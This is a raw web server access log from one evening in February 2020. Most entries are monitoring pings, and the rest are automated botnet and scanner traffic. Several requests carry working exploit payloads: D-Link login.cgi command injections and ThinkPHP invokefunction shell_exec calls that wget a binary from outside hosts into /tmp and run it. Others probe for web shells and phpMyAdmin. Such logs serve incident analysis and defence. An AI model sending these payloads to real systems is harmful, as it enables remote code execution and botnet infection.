212.91.246.72 - - [10/Feb/2020:18:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [10/Feb/2020:18:59:33 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [10/Feb/2020:18:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.48.99.58 - - [10/Feb/2020:19:00:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:19:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [10/Feb/2020:19:01:41 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [10/Feb/2020:19:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [10/Feb/2020:19:02:51 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [10/Feb/2020:19:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
144.137.29.26 - - [10/Feb/2020:19:05:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:19:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [10/Feb/2020:19:07:07 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
1.52.241.106 - - [10/Feb/2020:19:07:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.81.205.1 - - [10/Feb/2020:19:07:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:19:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [10/Feb/2020:19:07:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
136.32.84.131 - - [10/Feb/2020:19:08:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:19:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [10/Feb/2020:19:09:49 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
80.13.150.221 - - [10/Feb/2020:19:10:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
167.71.182.143 - - [10/Feb/2020:19:10:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:19:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:11:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
45.88.13.118 - - [10/Feb/2020:19:11:18 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
45.88.13.118 - - [10/Feb/2020:19:11:18 +0100] "POST /Admin57f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
212.91.246.72 - - [10/Feb/2020:19:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:11:42 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:11:42 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:11:42 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:11:43 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.113.229.179 - - [10/Feb/2020:19:11:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.88.13.118 - - [10/Feb/2020:19:12:05 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
222.186.19.221 - - [10/Feb/2020:19:12:16 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
45.88.13.118 - - [10/Feb/2020:19:12:29 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [10/Feb/2020:19:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:12:53 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
45.88.13.118 - - [10/Feb/2020:19:13:17 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [10/Feb/2020:19:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:13:41 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
45.88.13.118 - - [10/Feb/2020:19:14:05 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
45.88.13.118 - - [10/Feb/2020:19:14:29 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
45.88.13.118 - - [10/Feb/2020:19:14:29 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:30 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:30 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:30 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:30 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:31 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:31 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:31 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:32 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:33 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:33 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:34 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [10/Feb/2020:19:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:14:34 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:34 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:35 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:35 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:35 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:35 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:36 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:36 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:36 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:37 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:37 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:37 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:37 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:41 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:41 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:42 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:42 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:42 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:43 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:43 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:43 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:43 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:45 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:45 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:46 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:46 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:46 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:46 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:47 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:47 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:47 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:48 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:48 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:48 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:49 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:49 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:49 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:49 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:53 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:53 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:54 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:54 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:54 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:55 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:55 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:55 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:55 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:57 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:57 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:58 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:58 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:59 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:59 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:59 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:14:59 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:00 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:00 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:00 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:01 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:01 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:01 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:02 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:05 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:05 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:06 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:06 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:06 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
